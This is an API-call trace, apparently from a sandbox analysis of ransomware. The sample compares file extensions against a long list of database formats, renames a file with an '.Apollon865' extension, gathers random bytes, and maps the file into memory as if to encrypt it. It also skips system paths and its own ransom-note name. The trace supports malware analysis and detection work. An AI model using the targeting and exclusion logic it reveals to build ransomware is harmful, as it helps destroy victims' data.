	[0064.683] lstrcmpiW (lpString1="rsm", lpString2="mdf") returned 1
	[0064.683] lstrlenW (lpString="mdb") returned 3
	[0064.683] lstrcmpiW (lpString1="rsm", lpString2="mdb") returned 1
	[0064.683] lstrlenW (lpString="sql") returned 3
	[0064.683] lstrcmpiW (lpString1="rsm", lpString2="sql") returned -1
	[0064.683] lstrlenW (lpString="sqlite") returned 6
	[0064.683] lstrcmpiW (lpString1="te.rsm", lpString2="sqlite") returned 1
	[0064.683] lstrlenW (lpString="sqlite3") returned 7
	[0064.683] lstrcmpiW (lpString1="ate.rsm", lpString2="sqlite3") returned -1
	[0064.683] lstrlenW (lpString="sqlitedb") returned 8
	[0064.683] lstrcmpiW (lpString1="tate.rsm", lpString2="sqlitedb") returned 1
	[0064.684] lstrlenW (lpString="xml") returned 3
	[0064.684] lstrcmpiW (lpString1="rsm", lpString2="xml") returned -1
	[0064.684] lstrlenW (lpString="$er") returned 3
	[0064.684] lstrcmpiW (lpString1="rsm", lpString2="$er") returned 1
	[0064.684] lstrlenW (lpString="4dd") returned 3
	[0064.684] lstrcmpiW (lpString1="rsm", lpString2="4dd") returned 1
	[0064.684] lstrlenW (lpString="4dl") returned 3
	[0064.684] lstrcmpiW (lpString1="rsm", lpString2="4dl") returned 1
	[0064.684] lstrlenW (lpString="^^^") returned 3
	[0064.684] lstrcmpiW (lpString1="rsm", lpString2="^^^") returned 1
	[0064.684] lstrlenW (lpString="abs") returned 3
	[0064.684] lstrcmpiW (lpString1="rsm", lpString2="abs") returned 1
	[0064.684] lstrlenW (lpString="abx") returned 3
	[0064.684] lstrcmpiW (lpString1="rsm", lpString2="abx") returned 1
	[0064.684] lstrlenW (lpString="accdb") returned 5
	[0064.684] lstrcmpiW (lpString1="e.rsm", lpString2="accdb") returned 1
	[0064.684] lstrlenW (lpString="accdc") returned 5
	[0064.684] lstrcmpiW (lpString1="e.rsm", lpString2="accdc") returned 1
	[0064.684] lstrlenW (lpString="accde") returned 5
	[0064.684] lstrcmpiW (lpString1="e.rsm", lpString2="accde") returned 1
	[0064.684] lstrlenW (lpString="accdr") returned 5
	[0064.684] lstrcmpiW (lpString1="e.rsm", lpString2="accdr") returned 1
	[0064.684] lstrlenW (lpString="accdt") returned 5
	[0064.684] lstrcmpiW (lpString1="e.rsm", lpString2="accdt") returned 1
	[0064.684] lstrlenW (lpString="accdw") returned 5
	[0064.684] lstrcmpiW (lpString1="e.rsm", lpString2="accdw") returned 1
	[0064.684] lstrlenW (lpString="accft") returned 5
	[0064.684] lstrcmpiW (lpString1="e.rsm", lpString2="accft") returned 1
	[0064.684] lstrlenW (lpString="adb") returned 3
	[0064.684] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1
	[0064.684] lstrlenW (lpString="adb") returned 3
	[0064.684] lstrcmpiW (lpString1="rsm", lpString2="adb") returned 1
	[0064.684] lstrlenW (lpString="ade") returned 3
	[0064.684] lstrcmpiW (lpString1="rsm", lpString2="ade") returned 1
	[0064.684] lstrlenW (lpString="adf") returned 3
	[0064.684] lstrcmpiW (lpString1="rsm", lpString2="adf") returned 1
	[0064.684] lstrlenW (lpString="adn") returned 3
	[0064.685] lstrcmpiW (lpString1="rsm", lpString2="adn") returned 1
	[0064.685] lstrlenW (lpString="adp") returned 3
	[0064.685] lstrcmpiW (lpString1="rsm", lpString2="adp") returned 1
	[0064.685] lstrlenW (lpString="alf") returned 3
	[0064.685] lstrcmpiW (lpString1="rsm", lpString2="alf") returned 1
	[0064.685] lstrlenW (lpString="ask") returned 3
	[0064.685] lstrcmpiW (lpString1="rsm", lpString2="ask") returned 1
	[0064.685] lstrlenW (lpString="btr") returned 3
	[0064.685] lstrcmpiW (lpString1="rsm", lpString2="btr") returned 1
	[0064.685] lstrlenW (lpString="cat") returned 3
	[0064.685] lstrcmpiW (lpString1="rsm", lpString2="cat") returned 1
	[0064.685] lstrlenW (lpString="cdb") returned 3
	[0064.685] lstrcmpiW (lpString1="rsm", lpString2="cdb") returned 1
	[0064.685] lstrlenW (lpString="ckp") returned 3
	[0064.685] lstrcmpiW (lpString1="rsm", lpString2="ckp") returned 1
	[0064.685] lstrlenW (lpString="cma") returned 3
	[0064.685] lstrcmpiW (lpString1="rsm", lpString2="cma") returned 1
	[0064.685] lstrlenW (lpString="cpd") returned 3
	[0064.685] lstrcmpiW (lpString1="rsm", lpString2="cpd") returned 1
	[0064.685] lstrlenW (lpString="dacpac") returned 6
	[0064.685] lstrcmpiW (lpString1="te.rsm", lpString2="dacpac") returned 1
	[0064.685] lstrlenW (lpString="dad") returned 3
	[0064.685] lstrcmpiW (lpString1="rsm", lpString2="dad") returned 1
	[0064.685] lstrlenW (lpString="dadiagrams") returned 10
	[0064.685] lstrlenW (lpString="daschema") returned 8
	[0064.685] lstrcmpiW (lpString1="tate.rsm", lpString2="daschema") returned 1
	[0064.685] lstrlenW (lpString="db-journal") returned 10
	[0064.685] lstrlenW (lpString="db-shm") returned 6
	[0064.685] lstrcmpiW (lpString1="te.rsm", lpString2="db-shm") returned 1
	[0064.685] lstrlenW (lpString="db-wal") returned 6
	[0064.685] lstrcmpiW (lpString1="te.rsm", lpString2="db-wal") returned 1
	[0064.685] lstrlenW (lpString="dbc") returned 3
	[0064.685] lstrcmpiW (lpString1="rsm", lpString2="dbc") returned 1
	[0064.685] lstrlenW (lpString="dbs") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="dbs") returned 1
	[0064.686] lstrlenW (lpString="dbt") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="dbt") returned 1
	[0064.686] lstrlenW (lpString="dbv") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="dbv") returned 1
	[0064.686] lstrlenW (lpString="dbx") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="dbx") returned 1
	[0064.686] lstrlenW (lpString="dcb") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="dcb") returned 1
	[0064.686] lstrlenW (lpString="dct") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="dct") returned 1
	[0064.686] lstrlenW (lpString="dcx") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="dcx") returned 1
	[0064.686] lstrlenW (lpString="ddl") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="ddl") returned 1
	[0064.686] lstrlenW (lpString="dlis") returned 4
	[0064.686] lstrcmpiW (lpString1=".rsm", lpString2="dlis") returned -1
	[0064.686] lstrlenW (lpString="dp1") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="dp1") returned 1
	[0064.686] lstrlenW (lpString="dqy") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="dqy") returned 1
	[0064.686] lstrlenW (lpString="dsk") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="dsk") returned 1
	[0064.686] lstrlenW (lpString="dsn") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="dsn") returned 1
	[0064.686] lstrlenW (lpString="dtsx") returned 4
	[0064.686] lstrcmpiW (lpString1=".rsm", lpString2="dtsx") returned -1
	[0064.686] lstrlenW (lpString="dxl") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="dxl") returned 1
	[0064.686] lstrlenW (lpString="eco") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="eco") returned 1
	[0064.686] lstrlenW (lpString="ecx") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="ecx") returned 1
	[0064.686] lstrlenW (lpString="edb") returned 3
	[0064.686] lstrcmpiW (lpString1="rsm", lpString2="edb") returned 1
	[0064.686] lstrlenW (lpString="epim") returned 4
	[0064.687] lstrcmpiW (lpString1=".rsm", lpString2="epim") returned -1
	[0064.687] lstrlenW (lpString="fcd") returned 3
	[0064.687] lstrcmpiW (lpString1="rsm", lpString2="fcd") returned 1
	[0064.687] lstrlenW (lpString="fdb") returned 3
	[0064.687] lstrcmpiW (lpString1="rsm", lpString2="fdb") returned 1
	[0064.687] lstrlenW (lpString="fic") returned 3
	[0064.687] lstrcmpiW (lpString1="rsm", lpString2="fic") returned 1
	[0064.687] lstrlenW (lpString="flexolibrary") returned 12
	[0064.687] lstrlenW (lpString="fm5") returned 3
	[0064.687] lstrcmpiW (lpString1="rsm", lpString2="fm5") returned 1
	[0064.687] lstrlenW (lpString="fmp") returned 3
	[0064.687] lstrcmpiW (lpString1="rsm", lpString2="fmp") returned 1
	[0064.687] lstrlenW (lpString="fmp12") returned 5
	[0064.687] lstrcmpiW (lpString1="e.rsm", lpString2="fmp12") returned -1
	[0064.687] lstrlenW (lpString="fmpsl") returned 5
	[0064.687] lstrcmpiW (lpString1="e.rsm", lpString2="fmpsl") returned -1
	[0064.687] lstrlenW (lpString="fol") returned 3
	[0064.687] lstrcmpiW (lpString1="rsm", lpString2="fol") returned 1
	[0064.687] lstrlenW (lpString="fp3") returned 3
	[0064.687] lstrcmpiW (lpString1="rsm", lpString2="fp3") returned 1
	[0064.687] lstrlenW (lpString="fp4") returned 3
	[0064.687] lstrcmpiW (lpString1="rsm", lpString2="fp4") returned 1
	[0064.687] lstrlenW (lpString="fp5") returned 3
	[0064.687] lstrcmpiW (lpString1="rsm", lpString2="fp5") returned 1
	[0064.687] lstrlenW (lpString="fp7") returned 3
	[0064.687] lstrcmpiW (lpString1="rsm", lpString2="fp7") returned 1
	[0064.687] lstrlenW (lpString="fpt") returned 3
	[0064.687] lstrcmpiW (lpString1="rsm", lpString2="fpt") returned 1
	[0064.687] lstrlenW (lpString="frm") returned 3
	[0064.687] lstrcmpiW (lpString1="rsm", lpString2="frm") returned 1
	[0064.687] lstrlenW (lpString="gdb") returned 3
	[0064.687] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1
	[0064.687] lstrlenW (lpString="gdb") returned 3
	[0064.687] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1
	[0064.687] lstrlenW (lpString="grdb") returned 4
	[0064.687] lstrcmpiW (lpString1=".rsm", lpString2="grdb") returned -1
	[0064.688] lstrlenW (lpString="gwi") returned 3
	[0064.688] lstrcmpiW (lpString1="rsm", lpString2="gwi") returned 1
	[0064.688] lstrlenW (lpString="hdb") returned 3
	[0064.688] lstrcmpiW (lpString1="rsm", lpString2="hdb") returned 1
	[0064.688] lstrlenW (lpString="his") returned 3
	[0064.688] lstrcmpiW (lpString1="rsm", lpString2="his") returned 1
	[0064.688] lstrlenW (lpString="ib") returned 2
	[0064.688] lstrcmpiW (lpString1="sm", lpString2="ib") returned 1
	[0064.688] lstrlenW (lpString="idb") returned 3
	[0064.688] lstrcmpiW (lpString1="rsm", lpString2="idb") returned 1
	[0064.688] lstrlenW (lpString="ihx") returned 3
	[0064.688] lstrcmpiW (lpString1="rsm", lpString2="ihx") returned 1
	[0064.688] lstrlenW (lpString="itdb") returned 4
	[0064.688] lstrcmpiW (lpString1=".rsm", lpString2="itdb") returned -1
	[0064.688] lstrlenW (lpString="itw") returned 3
	[0064.688] lstrcmpiW (lpString1="rsm", lpString2="itw") returned 1
	[0064.688] lstrlenW (lpString="jet") returned 3
	[0064.688] lstrcmpiW (lpString1="rsm", lpString2="jet") returned 1
	[0064.688] lstrlenW (lpString="jtx") returned 3
	[0064.688] lstrcmpiW (lpString1="rsm", lpString2="jtx") returned 1
	[0064.688] lstrlenW (lpString="kdb") returned 3
	[0064.688] lstrcmpiW (lpString1="rsm", lpString2="kdb") returned 1
	[0064.688] lstrlenW (lpString="kexi") returned 4
	[0064.688] lstrcmpiW (lpString1=".rsm", lpString2="kexi") returned -1
	[0064.688] lstrlenW (lpString="kexic") returned 5
	[0064.688] lstrcmpiW (lpString1="e.rsm", lpString2="kexic") returned -1
	[0064.688] lstrlenW (lpString="kexis") returned 5
	[0064.688] lstrcmpiW (lpString1="e.rsm", lpString2="kexis") returned -1
	[0064.688] lstrlenW (lpString="lgc") returned 3
	[0064.688] lstrcmpiW (lpString1="rsm", lpString2="lgc") returned 1
	[0064.688] lstrlenW (lpString="lwx") returned 3
	[0064.688] lstrcmpiW (lpString1="rsm", lpString2="lwx") returned 1
	[0064.688] lstrlenW (lpString="maf") returned 3
	[0064.688] lstrcmpiW (lpString1="rsm", lpString2="maf") returned 1
	[0064.688] lstrlenW (lpString="maq") returned 3
	[0064.688] lstrcmpiW (lpString1="rsm", lpString2="maq") returned 1
	[0064.689] lstrlenW (lpString="mar") returned 3
	[0064.689] lstrcmpiW (lpString1="rsm", lpString2="mar") returned 1
	[0064.689] lstrlenW (lpString="marshal") returned 7
	[0064.689] lstrcmpiW (lpString1="ate.rsm", lpString2="marshal") returned -1
	[0064.689] lstrlenW (lpString="mas") returned 3
	[0064.689] lstrcmpiW (lpString1="rsm", lpString2="mas") returned 1
	[0064.689] lstrlenW (lpString="mav") returned 3
	[0064.689] lstrcmpiW (lpString1="rsm", lpString2="mav") returned 1
	[0064.689] lstrlenW (lpString="maw") returned 3
	[0064.689] lstrcmpiW (lpString1="rsm", lpString2="maw") returned 1
	[0064.689] lstrlenW (lpString="mdbhtml") returned 7
	[0064.689] lstrcmpiW (lpString1="ate.rsm", lpString2="mdbhtml") returned -1
	[0064.689] lstrlenW (lpString="mdn") returned 3
	[0064.689] lstrcmpiW (lpString1="rsm", lpString2="mdn") returned 1
	[0064.689] lstrlenW (lpString="mdt") returned 3
	[0064.689] lstrcmpiW (lpString1="rsm", lpString2="mdt") returned 1
	[0064.689] lstrlenW (lpString="mfd") returned 3
	[0064.689] lstrcmpiW (lpString1="rsm", lpString2="mfd") returned 1
	[0064.689] lstrlenW (lpString="mpd") returned 3
	[0064.689] lstrcmpiW (lpString1="rsm", lpString2="mpd") returned 1
	[0064.689] lstrlenW (lpString="mrg") returned 3
	[0064.689] lstrcmpiW (lpString1="rsm", lpString2="mrg") returned 1
	[0064.689] lstrlenW (lpString="mud") returned 3
	[0064.689] lstrcmpiW (lpString1="rsm", lpString2="mud") returned 1
	[0064.689] lstrlenW (lpString="mwb") returned 3
	[0064.689] lstrcmpiW (lpString1="rsm", lpString2="mwb") returned 1
	[0064.689] lstrlenW (lpString="myd") returned 3
	[0064.689] lstrcmpiW (lpString1="rsm", lpString2="myd") returned 1
	[0064.689] lstrlenW (lpString="ndf") returned 3
	[0064.689] lstrcmpiW (lpString1="rsm", lpString2="ndf") returned 1
	[0064.689] lstrlenW (lpString="nnt") returned 3
	[0064.689] lstrcmpiW (lpString1="rsm", lpString2="nnt") returned 1
	[0064.689] lstrlenW (lpString="nrmlib") returned 6
	[0064.689] lstrcmpiW (lpString1="te.rsm", lpString2="nrmlib") returned 1
	[0064.689] lstrlenW (lpString="ns2") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="ns2") returned 1
	[0064.690] lstrlenW (lpString="ns3") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="ns3") returned 1
	[0064.690] lstrlenW (lpString="ns4") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="ns4") returned 1
	[0064.690] lstrlenW (lpString="nsf") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="nsf") returned 1
	[0064.690] lstrlenW (lpString="nv") returned 2
	[0064.690] lstrcmpiW (lpString1="sm", lpString2="nv") returned 1
	[0064.690] lstrlenW (lpString="nv2") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="nv2") returned 1
	[0064.690] lstrlenW (lpString="nwdb") returned 4
	[0064.690] lstrcmpiW (lpString1=".rsm", lpString2="nwdb") returned -1
	[0064.690] lstrlenW (lpString="nyf") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="nyf") returned 1
	[0064.690] lstrlenW (lpString="odb") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1
	[0064.690] lstrlenW (lpString="odb") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1
	[0064.690] lstrlenW (lpString="oqy") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="oqy") returned 1
	[0064.690] lstrlenW (lpString="ora") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="ora") returned 1
	[0064.690] lstrlenW (lpString="orx") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="orx") returned 1
	[0064.690] lstrlenW (lpString="owc") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="owc") returned 1
	[0064.690] lstrlenW (lpString="p96") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="p96") returned 1
	[0064.690] lstrlenW (lpString="p97") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="p97") returned 1
	[0064.690] lstrlenW (lpString="pan") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="pan") returned 1
	[0064.690] lstrlenW (lpString="pdb") returned 3
	[0064.690] lstrcmpiW (lpString1="rsm", lpString2="pdb") returned 1
	[0064.690] lstrlenW (lpString="pdm") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="pdm") returned 1
	[0064.691] lstrlenW (lpString="pnz") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="pnz") returned 1
	[0064.691] lstrlenW (lpString="qry") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="qry") returned 1
	[0064.691] lstrlenW (lpString="qvd") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="qvd") returned 1
	[0064.691] lstrlenW (lpString="rbf") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="rbf") returned 1
	[0064.691] lstrlenW (lpString="rctd") returned 4
	[0064.691] lstrcmpiW (lpString1=".rsm", lpString2="rctd") returned -1
	[0064.691] lstrlenW (lpString="rod") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="rod") returned 1
	[0064.691] lstrlenW (lpString="rodx") returned 4
	[0064.691] lstrcmpiW (lpString1=".rsm", lpString2="rodx") returned -1
	[0064.691] lstrlenW (lpString="rpd") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="rpd") returned 1
	[0064.691] lstrlenW (lpString="rsd") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="rsd") returned 1
	[0064.691] lstrlenW (lpString="sas7bdat") returned 8
	[0064.691] lstrcmpiW (lpString1="tate.rsm", lpString2="sas7bdat") returned 1
	[0064.691] lstrlenW (lpString="sbf") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="sbf") returned -1
	[0064.691] lstrlenW (lpString="scx") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="scx") returned -1
	[0064.691] lstrlenW (lpString="sdb") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="sdb") returned -1
	[0064.691] lstrlenW (lpString="sdc") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="sdc") returned -1
	[0064.691] lstrlenW (lpString="sdf") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="sdf") returned -1
	[0064.691] lstrlenW (lpString="sis") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="sis") returned -1
	[0064.691] lstrlenW (lpString="spq") returned 3
	[0064.691] lstrcmpiW (lpString1="rsm", lpString2="spq") returned -1
	[0064.691] lstrlenW (lpString="te") returned 2
	[0064.692] lstrcmpiW (lpString1="sm", lpString2="te") returned -1
	[0064.692] lstrlenW (lpString="teacher") returned 7
	[0064.692] lstrcmpiW (lpString1="ate.rsm", lpString2="teacher") returned -1
	[0064.692] lstrlenW (lpString="tmd") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="tmd") returned -1
	[0064.692] lstrlenW (lpString="tps") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="tps") returned -1
	[0064.692] lstrlenW (lpString="trc") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1
	[0064.692] lstrlenW (lpString="trc") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1
	[0064.692] lstrlenW (lpString="trm") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="trm") returned -1
	[0064.692] lstrlenW (lpString="udb") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="udb") returned -1
	[0064.692] lstrlenW (lpString="udl") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="udl") returned -1
	[0064.692] lstrlenW (lpString="usr") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="usr") returned -1
	[0064.692] lstrlenW (lpString="v12") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="v12") returned -1
	[0064.692] lstrlenW (lpString="vis") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="vis") returned -1
	[0064.692] lstrlenW (lpString="vpd") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="vpd") returned -1
	[0064.692] lstrlenW (lpString="vvv") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="vvv") returned -1
	[0064.692] lstrlenW (lpString="wdb") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="wdb") returned -1
	[0064.692] lstrlenW (lpString="wmdb") returned 4
	[0064.692] lstrcmpiW (lpString1=".rsm", lpString2="wmdb") returned -1
	[0064.692] lstrlenW (lpString="wrk") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="wrk") returned -1
	[0064.692] lstrlenW (lpString="xdb") returned 3
	[0064.692] lstrcmpiW (lpString1="rsm", lpString2="xdb") returned -1
	[0064.693] lstrlenW (lpString="xld") returned 3
	[0064.693] lstrcmpiW (lpString1="rsm", lpString2="xld") returned -1
	[0064.693] lstrlenW (lpString="xmlff") returned 5
	[0064.693] lstrcmpiW (lpString1="e.rsm", lpString2="xmlff") returned -1
	[0064.693] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.Apollon865") returned 92
	[0064.693] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.apollon865"), dwFlags=0x1) returned 1
	[0064.695] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0064.695] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=654) returned 1
	[0064.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0064.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0064.695] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0064.696] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0064.696] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0064.696] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.696] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x150
	[0064.698] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000
	[0064.698] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0064.699] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0064.699] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0064.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0064.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0064.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0064.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0064.699] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0064.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0064.699] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0064.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0064.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0064.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0064.700] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0064.700] CloseHandle (hObject=0x150) returned 1
	[0064.700] CloseHandle (hObject=0x154) returned 1
	[0064.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0064.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0064.700] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0064.700] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
	[0064.700] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0064.700] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="Apollon865.txt.exe") returned 1
	[0064.700] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".") returned 1
	[0064.700] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="..") returned 1
	[0064.700] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="windows") returned -1
	[0064.700] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="bootmgr") returned 1
	[0064.700] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="temp") returned 1
	[0064.700] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="pagefile.sys") returned 1
	[0064.701] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="boot") returned 1
	[0064.701] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="ids.txt") returned 1
	[0064.701] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="ntuser.dat") returned 1
	[0064.701] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="perflogs") returned 1
	[0064.701] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="MSBuild") returned 1
	[0064.701] lstrlenW (lpString="vcredist_x64.exe") returned 16
	[0064.701] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned 81
	[0064.701] lstrcpyW (in: lpString1=0x119e698, lpString2="vcredist_x64.exe" | out: lpString1="vcredist_x64.exe") returned="vcredist_x64.exe"
	[0064.701] lstrlenW (lpString="vcredist_x64.exe") returned 16
	[0064.701] lstrlenW (lpString="Apollon865") returned 10
	[0064.701] lstrcmpiW (lpString1="st_x64.exe", lpString2="Apollon865") returned 1
	[0064.701] lstrlenW (lpString=".dll") returned 4
	[0064.701] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".dll") returned 1
	[0064.701] lstrlenW (lpString=".lnk") returned 4
	[0064.701] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".lnk") returned 1
	[0064.701] lstrlenW (lpString=".ini") returned 4
	[0064.701] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".ini") returned 1
	[0064.701] lstrlenW (lpString=".sys") returned 4
